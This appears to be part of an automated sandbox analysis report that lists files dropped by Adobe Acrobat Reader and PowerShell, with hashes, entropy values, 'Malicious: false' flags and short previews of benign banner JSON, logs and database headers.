SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJfzdPeUkwRe9:YvXKXYuWUYpW7kJWOGb8Ukee9
MD5:	CC943D337C055990B0E78DE5065B9C0D
SHA1:	17394F4F813CC1236C129C5365F70A220CA7968B
SHA-256:	735F82ECE271695B4D4224265E66932F3A69077FA3938E3A749CBDEA65DF7167
SHA-512:	0D3E451BC9E6E5912E40FE87FD294DFB123DF045CAB04A7D3434A0C30A44177F0181EBDE1BF9DBE5B83AFDA63C048DDD22D7300065F299C4B6890708EBABAF53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.263394064240622
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJfYdPeUkwRe9:YvXKXYuWUYpW7kJWOGg8Ukee9
MD5:	3F414EAA4E0486F5A20DAE3717C31ACD
SHA1:	4F58A72D9A4B7823399A658C25BF28ED8CC74D1E
SHA-256:	C029BEC5DB3ACBC2E6FF1F3FB779C1D606F40FA4C2909C7D8B588E519D2B6C20
SHA-512:	E00DC768F39A51CC5834B61B0ABAEAA61DB2DFD17FE52528452CB1F1F981B4C0FB045166D68B5885489EA1E4E390CD958153169D4C95F3079520F56B36B6BB6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.249098957291147
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJf+dPeUkwRe9:YvXKXYuWUYpW7kJWOG28Ukee9
MD5:	AEDE533B9BEC8B8D57457F47AC33FF10
SHA1:	6C7E8B6053FC3F5BCF71C300AE7F50310B037627
SHA-256:	8E4448C16B1382701B26E5872D0864CD12654D955DB740267487B6D17D9D9F09
SHA-512:	A9DE92B96C85174507AB44A4951F1A2D98E0749C030044EAA38130DFA4F936E018641E009E9F7500C4CBF7AD943165DED1EB70950D847C2C7660B118DC4E32E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.247192749101835
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJfbPtdPeUkwRe9:YvXKXYuWUYpW7kJWOGDV8Ukee9
MD5:	4B840C1FE0264128394ABD920A52F13E
SHA1:	E4F2ED5B7D0E075853A956B7A64C60173073850D
SHA-256:	B04D90BBD33D5DF13DB8191E182D863CA5ABA7FF3A0AC1F7E7CF5590885E4CC4
SHA-512:	3A3A8AE138939999CF298E317380683E743F3726E6A8EB9998C07C53F19018BA1CCCA669BBC4ABCA1E26FD9485A5E7F93AB7E38BCCD67A2A13C33F2189CF1A83
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2483592875688565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJf21rPeUkwRe9:YvXKXYuWUYpW7kJWOG+16Ukee9
MD5:	ABE24229097F008E4235B336E1D4040B
SHA1:	5751BBEB1CF0D07F685BE61E2086961A0007C778
SHA-256:	540956209361FB6C80B06113BDDE1803B86DDB00B9E88A92112249BBEEF6D4A8
SHA-512:	94430C82CB3890A410EE22366B88333D67E02CF03BCA6A836EB2A51900D93F055690641C362C1A20F39644E9364DC6C2187E1250F6573141BB88494F6AC67528
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659519637915878
Encrypted:	false
SSDEEP:	24:Yv6XUFikY7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSF:YvsZBgkDMUJUAh8cvMF
MD5:	93B866FC14FC1995AAD68D84EFFEAAFC
SHA1:	95B9865261B44F4EF840DEFC43196B4DDAA71411
SHA-256:	5D9E2D08E8E51D7A284B8F27204094A867BF8999F55B16AC93C948C78914774C
SHA-512:	2A5A42B59DC75BCD4B895124FA7BDDCF36EF6441191640DD62F7D1093C34B62F762C4A122E3EE1C029B5F97ED0899D7934DF57911BD5EA73315A8F8E5E8FB8CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.223861335427909
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJfshHHrPeUkwRe9:YvXKXYuWUYpW7kJWOGUUUkee9
MD5:	F4274E4A0187937A72967D231CD21D55
SHA1:	18F09E501E2CE6F56A2E37F62B48273564C2E85F
SHA-256:	50E2CE371DF0CA85616353AD2B0CFE54C8C663B6F8001EBD27A8FF78EC6FB6E1
SHA-512:	C80B1332DAD8E4354CDF947240875574CF214DB9955919041EFB29A56FD2DBBC015CF8D0CB9118027AF3E9C6D5934B4F47D3CD4C71EE29F5FFE8E38FEE2FC203
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.237841162594581
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6RuWx+FIbRI6XVW7+0YVJWxoAvJTqgFCrPeUkwRe9:YvXKXYuWUYpW7kJWOGTq16Ukee9
MD5:	1C365075155B6AE64770F55964D4410F
SHA1:	4093208CC783A2911A87A8AFC323DC68F871260D
SHA-256:	1963EE7F41FE506708AD94B08F987EC09DDF14A4E518CFA005335865EBAE6EC0
SHA-512:	BA80007FF0414BA71A01FFCCDD1BC9642CB01E3F2E67A5FEDBC6AD7B1DD43D61963CC3A14CAE0C9BAF8AA50CF12013F6A6F84D5043D5C12AAFF5F087F7A72031
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"849f8b56-fcf2-4e1e-8ca5-063447d3f2af","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736734344173,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136862096193545
Encrypted:	false
SSDEEP:	48:Y6OagX/u7jdhMV+OrAYlW69fBcbDdw99S:xOaa27j3k+sAyl2DU4
MD5:	92BE7DE74A9184F5119BF6E69731F375
SHA1:	0C6CA247C6D8EA8D7ECD7178C319F6C147C1CDE7
SHA-256:	F7981E05356542E570A51321B43A80F8534E48AF11ABE6265204662EF9B37A4E
SHA-512:	1A43DC358FC571FFFA1095DF860A44E3CA299B8B0B320C36B25B15A4B865A448C8F3AEB68A90BB9FC251810DC3FB07AAC29EFE42A827F8B8589F4E2FC4B34653
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"d207b440e4563d1b11194e2204e6b966","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736556308000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ce34586c29babc882e04793e4b8054b9","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736556308000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b4477549b82e0df7e949e5befce88353","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736556308000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"410755f4b6dbb7c89dd10794242bab03","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736556308000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"1426c63a2d47dcd09fdd2bcb400d0106","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736556308000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"31067002e7db58dc40116d877095f9d3","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9856998179460406
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spb4zJwtNBwtNbRZ6bRZ4mF:TVl2GL7ms6ggOVp0zutYtp6PL
MD5:	34017EFF5E07DE8A27415B1AA4E2EAF8
SHA1:	6B4C0594664C06CABF5558EED75D6F908CBF0366
SHA-256:	81322A6B9C77FE062AC4622AD60CA9D35A4520CD7E7AD3DC46AB6F08EAA49DF7
SHA-512:	315AF50F67F64363E6919774075AFD192AD69F58565655556002A44EE16E9DC95F6A8526E3944E831613035FB44331DB0B8C56429C26AF86A9436D0B11923E01
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3399979740142947
Encrypted:	false
SSDEEP:	24:7+tpWAD1RZKHs/Ds/SpbPzJwtNBwtNbRZ6bRZWf1RZK0qLBx/XYKQvGJF7ursV:7MkGgOVpLzutYtp6PMlqll2GL7msV
MD5:	F473D1DC45A7D63F6CC6315071A76E9D
SHA1:	3DD603BFD5BDB9A72F59B3BF21BA084EC107B2ED
SHA-256:	0EFB5772236EE9E7239C1CDD1FBBD9252F629AE8C3275990A11458017C23D3E6
SHA-512:	C4E9031E7A7437018D78C24D23B14984D538D90041E6738FAA0A2F7F3B258155C01BA7D291376976C9A6B3DA3AD264AF23BB50E2D8DF3E6FBA34F87786AE21A0
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg79OHn6xvtDUzgsjjzusuU5f3CYyu:6a6TZ44ADEgHdcsjjCs9vCK
MD5:	16190DD1C824C7D2E3B7E646DA405026
SHA1:	D93461FB311CFBCDFEE00F206915F69964A2F269
SHA-256:	4527EFA398DF67190F5182684D93E4F7EA39B795A02E0E7C058C3BEE37288364
SHA-512:	B1B229762B5861FF790B9A1BC357090C633DAEA1E899D285A5E2F1D95944A728581CB5AD3072E7DDAB4213BC2E3ED5C7397E8CCBDB713A6823FE135A91C91304
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIc476b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE1l:Qw946cPbiOxDlbYnuRK+bD3
MD5:	062DB4AE761B552B97AEB42BA6A39EF9
SHA1:	69DB0F9DFD4E8426F3A3AAFE8A1C1D2345DCCDB4
SHA-256:	B49039873B2E25E8B7456F41270C57CFAD54FA74BDBABB122A23699ADF848EC2
SHA-512:	9748DBC6957303EBBEEEC914AA8E43905B4DA4A77123DE82213997D7446D7056A2EB134E14E52CE3A9E23236D69BF2068DC18351E296E234F1EDC58A4DBCB33E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.4.5.:.0.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5wo41fky.0r4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wvbahiz4.ske.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-45-02-932.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.362206836398966
Encrypted:	false
SSDEEP:	384:bNf4H9GpruvlwcReu33iJT2nT8dFMAslZyPxz/BftFfE0KzSii3iHq8xeVjqrw4W:Vj/
MD5:	C2CDAF4DF4F1DB576104FA4B94E85DEC
SHA1:	D8B37B0074A9FEA8EFD01707D428EA78C441F2AC
SHA-256:	FB61A8153601289D59DFA085776D54A1507EEE5460216F58E476795F8A8FB84E
SHA-512:	C1C4D939DDFB5773CEC55B34820533C3F3AEF5CB99FF81C1CF1482F35990FE288B60557CBAFE2D3D1F0C3047E7560D2A98CDEDBDD364CB8D2A6786C00F3B1FA9
Malicious:	false
Preview:	SessionID=ee1cd396-67c9-4e66-9a9b-32da7b8bb82c.1736556302942 Timestamp=2025-01-10T19:45:02:942-0500 ThreadID=7740 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ee1cd396-67c9-4e66-9a9b-32da7b8bb82c.1736556302942 Timestamp=2025-01-10T19:45:02:943-0500 ThreadID=7740 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ee1cd396-67c9-4e66-9a9b-32da7b8bb82c.1736556302942 Timestamp=2025-01-10T19:45:02:943-0500 ThreadID=7740 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ee1cd396-67c9-4e66-9a9b-32da7b8bb82c.1736556302942 Timestamp=2025-01-10T19:45:02:943-0500 ThreadID=7740 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ee1cd396-67c9-4e66-9a9b-32da7b8bb82c.1736556302942 Timestamp=2025-01-10T19:45:02:943-0500 ThreadID=7740 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392669180233286
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbg:ljO
MD5:	AB6BCF024A145BCA686E111856496786
SHA1:	01983BACBEA7A19A316B58245A1C2FE8DF9789AA
SHA-256:	76645F9213287B48A2681D1901ABDA7CD07EA3D0C0C7528E4438CDDA5F925EFD
SHA-512:	EF7E4D7454F2516FD9E4DFC7D66F8F5FFD415060C3DECB91CFA4909E660C0431C18BE532BEAFCC1A2350BBC15D7A99C3C0F61BBA4B3C406B78BA4900FC0EEA52
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\8b84617a-1f67-4c9b-843c-d1b58a9d6dd8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VZwYIGNPoeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tZwZG7WLxYGZN3mlind9i4ufFXpAXkru
MD5:	195A8F78B0AFE12D0F706763E89B8192
SHA1:	206F924D2F45BF24BC5702387C9A5DA43B7A5849
SHA-256:	29AD0D7C228AB88E5EA22D0EDB88F52A26B6C66A43ADED883B8FFFB929BD6C7D
SHA-512:	E78A72F66F9C8B509B7D2ED3D15D8AC2BF166FF9EAE0CE8C17220FE25BE49B7BDB7BE6FC75A788A910AE05112F8469C327FD2CD48D6305A9DD6CE9E54BC5E379
Malicious:	false
